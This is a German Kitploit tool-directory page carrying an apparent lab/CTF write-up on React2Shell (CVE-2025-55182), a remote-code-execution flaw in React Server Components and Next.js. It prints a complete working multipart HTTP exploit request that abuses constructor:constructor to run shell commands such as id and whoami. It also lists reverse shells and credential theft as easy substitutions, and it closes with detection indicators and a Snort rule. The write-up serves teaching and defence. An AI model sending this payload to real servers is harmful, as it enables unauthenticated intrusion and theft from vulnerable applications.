Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: nicht authentifizierte unsichere Deserialisierung in React Server Components, die zu zuverlässiger Remote-Codeausführung über das Flight-Protokoll führt. | Kitploit
Tools/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationWebsicherheitCTFPenetrationstestsLernen & BildungPayload-Entwicklung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: nicht authentifizierte unsichere Deserialisierung in React Server Components, die zu zuverlässiger Remote-Codeausführung über das Flight-Protokoll führt.

Repository anzeigen
71vor 1 MonatNoch nicht geprüft

🎯 React2Shell (CVE-2025-55182): Von React Server Components zur vollständigen RCE

Schwierigkeit: Mittel → Fortgeschritten
Kategorie: Web-Ausnutzung | Deserialisierung | RCE

Cover


🧩 Aufgabe 1: Einführung — Warum React2Shell eine große Sache ist

CVE-2025-55182, Spitzname React2Shell, ist eine dieser Schwachstellen, die Verteidiger sofort nervös macht 😬. Entdeckt im Dezember 2025, trägt sie einen CVSS-Score von 10.0, was bereits zeigt, dass dies kein Randfallfehler ist.

Im Kern betrifft diese Schwachstelle React Server Components (RSC) und darauf aufbauende Frameworks — am bekanntesten Next.js. Der gruselige Teil?

👉 Unauthentifizierte Remote-Code-Ausführung (RCE) 👉 Ein einzelner manipulierter HTTP-Request 👉 Standardkonfigurationen sind anfällig

Kein Login. Keine besonderen Berechtigungen. Nur eine wohlgeformte Anfrage.

🔥 Betroffene React-Pakete

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

✅ Behobene Versionen

  • 19.0.1
  • 19.1.2
  • 19.2.1

Diese Aufgabe führt uns durch warum dieser Fehler existiert, wie er ausgenutzt wird und was Verteidiger dagegen tun können.

Flagge: Keine Antwort nötig.


🧠 Aufgabe 2: React Server Components & das Flight-Protokoll

Vor der Ausnutzung benötigen wir Klarheit über die Architektur.

Was sind React Server Components?

React Server Components (eingeführt in React 19) erlauben es, Teile einer React-App auf dem Server auszuführen, nicht im Browser. Das bedeutet:

  • Schwere Berechnungen bleiben serverseitig ⚙️
  • Client erhält nur gerenderte Ausgabe 📦
  • Bessere Leistung, kleinere Bundles

Einführung: React Flight ✈️

Die Kommunikation zwischen Client und Server erfolgt über das React Flight-Protokoll. Dieses Protokoll serialisiert Daten auf dem Client und deserialisiert sie auf dem Server.

Es verwendet spezielle Marker:

  • $@ → Chunk reference

  • $B → Blob reference

  • Property paths via colon notation Example:

    root@kitploit:~
    $1:constructor:constructor
    

⚠️ Und genau hier liegt der Fehler in der Serialisierungslogik.

Frage: Welches Symbol kennzeichnet eine Blob-Referenz? ✅ Antwort: $B


💣 Aufgabe 3: Die Kernschwachstelle — Unsichere Deserialisierung

Im Herzen von CVE-2025-55182 liegt ein klassischer unsicherer Deserialisierungsfehler.

Schauen wir uns das anfällige Muster an (nicht zuschneiden 👇):

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... additional logic ...  
 return moduleExports[metadata[2]];  // VULNERABLE LINE  
}  

Warum ist das gefährlich?

In JavaScript, die Klammernotation:

root@kitploit:~
obj[someKey]

beschränkt den Zugriff nicht nur auf exportierte Eigenschaften. Sie durchläuft die gesamte Prototypenkette.

Jetzt kommt die entscheidende Erkenntnis 👀:

  • Jede JavaScript-Funktion hat einen .constructor
  • constructor zeigt auf den Function-Konstruktor
  • Function("code") = beliebige JS-Ausführung

Bewaffnung von Flight-Referenzen

Da das Flight-Protokoll durch Doppelpunkte getrennte Pfade erlaubt, kann ein Angreifer senden:

root@kitploit:~
$1:constructor:constructor

Was aufgelöst wird zu:

  1. Modul-Chunk holen
  2. Auf .constructor zugreifen
  3. Erneut auf .constructor zugreifen → Function

An diesem Punkt ist das Spiel vorbei 🎮.

Flagge: Keine Antwort nötig.


🧨 Aufgabe 4: Exploitation Chain — Vom Fehler zur RCE

Jetzt zerlegen wir maple3142's PoC Schritt für Schritt.

🧩 Stufe 1: Gefälschtes Chunk-Objekt

Der Angreifer sendet eine Multipart-Anfrage mit einem gefälschten Chunk-Objekt:

root@kitploit:~
{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

Dieses Objekt ahmt die interne Chunk-Struktur von React nach. Indem then auf Chunk.prototype.then zeigt, wird React dazu verleitet, auf eine angreifergesteuerte Logik zu warten.

🧩 Stufe 2: Missbrauch des Blob-Handlers

Der Marker $B1337 löst den Blob-Deserialisierungs-Handler aus, der intern ausführt:

root@kitploit:~
response._formData.get(response._prefix + id)

Aber wir haben vergiftet:

  • _formData.get → Function
  • _prefix → bösartiges JS

Resultierende Ausführung:

root@kitploit:~
Function("process.mainModule.require('child_process').execSync('xcalc');1337")

💥 Beliebige JavaScript-Ausführung erreicht.

🧩 Stufe 3: Betriebssystem-Befehlsausführung

Der PoC führt aus:

root@kitploit:~
process.mainModule
  .require('child_process')
  .execSync('xcalc')

Dies kann trivial ersetzt werden durch:

  • Reverse Shells
  • Geheimnis-Exfiltration
  • Dateiauslesen
  • Diebstahl von Cloud-Anmeldeinformationen ☠️

Flagge: Keine Antwort nötig.


📦 Aufgabe 5: Vollständige HTTP-PoC-Aufschlüsselung

Hier ist die vollständige Exploit-Anfrage (wörtlich, nicht beschnitten):

root@kitploit:~
POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

(…Multipart-Body wird fortgesetzt…)

Wichtige Dinge zu beachten 👇

  • Next-Action-Header löst Server Actions aus
  • multipart/form-data ist obligatorisch
  • $@0 erzeugt eine Selbstreferenz
  • $B1337 löst Blob-Logik aus
  • constructor:constructor führt zu Function

Dies ist kein Zufall – es ist eine präzise konstruierte Kette.

🌍 Betroffenes Ökosystem

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Next.js:

    • ≥14.3.0-canary.77
    • All 15.x
    • Early 16.x
  • Others: React Router (RSC), Waku, Redwood SDK

📊 Wiz-Forschung: 39 % der Cloud-Umgebungen exponiert 🌐 Shodan: 571k+ React-Server, 444k+ Next.js

Das ist… eine Menge 😶


🧪 Aufgabe 6: Ausnutzung im Labor

Zunächst in Repeater eine neue HTTP-Anfrage erstellen und Ziel auswählen.

1

Mit Burp Suite Repeater senden wir die Payload:

root@kitploit:~
execSync('id')

2

Und später:

root@kitploit:~
execSync('whoami')

3

✅ Ergebnisse

  • User: ubuntu

  • Flagge:

    root@kitploit:~
    {React-19.2.0}
    

Saubere, zuverlässige, wiederholbare Ausnutzung 💀


🛡️ Aufgabe 7: Erkennung & Verteidigung

Gute Nachrichten für Verteidiger 👮‍♂️ — die Ausnutzung hinterlässt Fingerabdrücke.

🔎 Angriffsindikatoren

  • Next-Action header
  • multipart/form-data
  • "status":"resolved_model"
  • "then":"$1:__proto__:then"

Diese sollten niemals im normalen Benutzerverkehr auftauchen.

🚨 Snort Rule (v3)

root@kitploit:~
alert http any any -> $LAN_NETWORK any (
    msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

🧾 OSQuery — Auffinden anfälliger Pakete

root@kitploit:~
{
  "queries": {
    "detect_rev2shell_react_server_components": {
      "query": "SELECT name, version, path FROM npm_packages WHERE ...",
      "interval": 3600
    }
  }
}

Perfekt für:

  • CI/CD-Pipelines
  • Endpunkt-Audits
  • Pre-Production-Checks

4


🧠 Abschließende Gedanken

React2Shell ist ein Lehrbuchbeispiel für:

  • Warum unsichere Deserialisierung tödlich ist
  • Wie Prototyp-Ketten dich verraten können
  • Warum „Standardkonfigurationen“ gefährlich sind

Sobald gepatchte Versionen installiert und die Empfehlungen von npm audit befolgt werden, stirbt der Exploit vollständig ✅.
⚠️ Testen Sie dies niemals außerhalb autorisierter Labore.
🔥 Patchen Sie immer schnell.
🧠 Verstehen Sie immer warum ein Fehler existiert – nicht nur, wie man ihn ausnutzt.


⭐ Folgen Sie mir & Vernetzen

Wenn Ihnen dieser Bericht gefallen hat oder Sie mit meiner Arbeit in Cybersicherheit, CTFs und VAPT in Verbindung bleiben möchten:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010

Happy Hacking — verantwortungsbewusst 🗿🚀


Tool herunterladen